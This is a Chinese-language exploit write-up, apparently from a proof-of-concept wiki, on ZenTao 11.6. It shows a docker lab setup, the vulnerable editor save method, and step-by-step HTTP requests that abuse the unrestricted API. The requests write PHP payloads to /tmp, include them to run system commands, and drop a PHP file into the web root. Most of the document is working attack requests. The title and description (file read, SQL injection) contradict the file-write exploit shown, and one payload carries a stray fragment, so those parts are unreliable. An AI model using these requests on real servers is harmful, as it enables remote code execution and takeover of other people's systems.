# 禅道 11.6版本 任意文件读取漏洞
## 漏洞描述
禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入
## 影响版本
> [!NOTE]
>
> 禅道 11.6
## 环境搭建
这里使用docker环境搭建
```
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
```
访问 **http://xxx.xxx.xxx.xxx:8084** 按步骤安装即可

## 漏洞复现
这里造成漏洞的原因同样是调用接口权限无限制的原因
接口出现漏洞的原因具体参考可以查看上一篇 **禅道 11.6版本 SQL注入漏洞** 关于此漏洞的完整分析
查看**module/api/ediyor/moudel.php**下的**save方法**
```php
public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);
$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}
```
**$filePath参数和$fileContent参数** 我们是可控的
调用方法往 **/tmp**写入一个**phpinfo()**
```
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell.php
POST:fileContent=<?php phpinfo();?>
```

![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-25.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含
```
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1
```
![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-26.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
也可以写入网站目录中
先获取地址
```
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
POST:fileContent=<?php system('find / -name ioncube.php')?>');?>
```
访问**http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1**
![]( http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/zentao-27.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
得到目录为 **/app/zentaopma/www**
请求改为
```
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>
```
再去访问**http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1**则会再网站目录下生成 xxx.php 文件
